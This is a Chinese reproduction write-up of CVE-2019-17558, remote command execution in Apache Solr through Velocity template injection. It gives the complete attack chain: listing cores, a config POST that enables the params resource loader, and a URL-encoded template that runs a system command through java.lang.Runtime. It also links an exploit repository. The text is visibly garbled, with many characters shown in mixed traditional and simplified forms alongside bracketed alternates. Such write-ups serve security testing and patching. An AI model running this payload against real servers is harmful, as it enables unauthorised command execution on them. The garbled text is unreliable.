Apache Solr Velocity 注入远程命令执行漏洞复现 (CVE-2019-17558)
漏洞描述
Solr是Apache Lucene項(xiàng)目的開源企業(yè)搜索平臺(tái)。 其主要功能包括全文檢索、命中標(biāo)示、分面搜索、動(dòng)態(tài)聚類、數(shù)據(jù)庫集成,以及富文本的處理。 2019年10月30日,國外安全研究人員放出了一個(gè)關(guān)于solr 模板注入的exp,攻擊者通過未授權(quán)訪問solr服務(wù)器,發(fā)送特定的數(shù)據(jù)包開啟 params.resource.loader.enabled,然后get訪問接口導(dǎo)致服務(wù)器命令執(zhí)行。
影響版本
5.0.0 到 8.3.1版本
漏洞環(huán)境
搭建環(huán)境,服務(wù)啟動(dòng)后,訪問http://your-ip:8983即可查看到一個(gè)無需權(quán)限的Apache Solr服務(wù)。
漏洞復(fù)現(xiàn)
默認(rèn)情況下params.resource.loader.enabled配置未打開,無法使用自定義模板。我們先通過如下API獲取所有的核心:
http://127.0.0.1:8983/solr/admin/cores?indexInfo=false&wt=json
通過如下請求開啟params.resource.loader.enabled,其中API路徑包含剛才獲取的core名稱:
POST /solr/demo/config HTTP/1.1 Host: solr:8983 Content-Type: application/json Content-Length: 259{"update-queryresponsewriter": {"startup": "lazy","name": "velocity","class": "solr.VelocityResponseWriter","template.base.dir": "","solr.resource.loader.enabled": "true","params.resource.loader.enabled": "true"} }之后,注入Velocity模板即可執(zhí)行任意命令:
http://your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end測試結(jié)果:
使用EXP?進(jìn)行漏洞利用:https://github.com/jas502n/solr_rce
總結(jié)
以上是生活随笔為你收集整理的Apache Solr Velocity 注入远程命令执行漏洞复现 (CVE-2019-17558)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 浅谈python异步IO,同步IO,线程
- 下一篇: Python(字符串,列表,元组,字典)